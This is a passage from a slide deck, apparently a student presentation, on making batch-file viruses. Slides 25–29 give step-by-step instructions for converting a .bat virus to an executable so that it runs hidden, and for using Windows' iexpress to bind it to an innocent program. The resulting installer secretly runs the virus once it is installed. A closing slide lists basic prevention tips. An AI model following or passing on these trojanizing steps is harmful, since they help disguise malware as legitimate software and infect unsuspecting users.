  • 25. Finishing Virus Coding  Firstly copy all these coding into the notepad and name them anything with .bat extention.  Now converts this .bat file into .exe file with the help of Bat to Exe converter.  This is the software which Helps us to hide the cmd coding and runs the process in background. File.bat File.exe
  • 26. Finishing Virus Coding  After converting .bat file into .exe file What to do Next? All of u thinking that these are the .exe files how these are spreads. Your answer is the software which reside in directory c:windowssystem32 with name iexpress to start iexpress Start > Run > iexpress You will see this windows this is your mixing software.
  • 27. Finishing Virus Coding  Follows the instruction of software then after pressing some next you will find this window.  Here, add your viral code and the innocent software(exe) in which u want to bind this.
  • 28. Finishing Virus Coding  After that in two selection windows firstly select the innocent software(exe) location then in second Window select your viral code(exe). Follows the instruction and your New software setup is created Which is innocent but contains Harmful virus. When we install this software , then After installation of software the Added virus code is runs.
  • 29. Finishing Virus Coding Mixing process. .bat .exe setup.exe
  • 30. Prevention (Conclusion)  Some possible prevention or conclusions are 1.Do not accept any file with .bat or .exe extension on the internet while chatting or from your mailbox. 2.Do not take softwares from untrusted vendors. 3.Always check your autoruns by— start>run>msconfig>startup if u find something suspected target its path and remove it after checking it. 4.These are the batch viruses which are not so advanced viruses but having very dangerous capabilities, and only strong updated antivirus can catch them so always kept updated antivirus.
  • 31. Have any questions? Yogendra Kirar.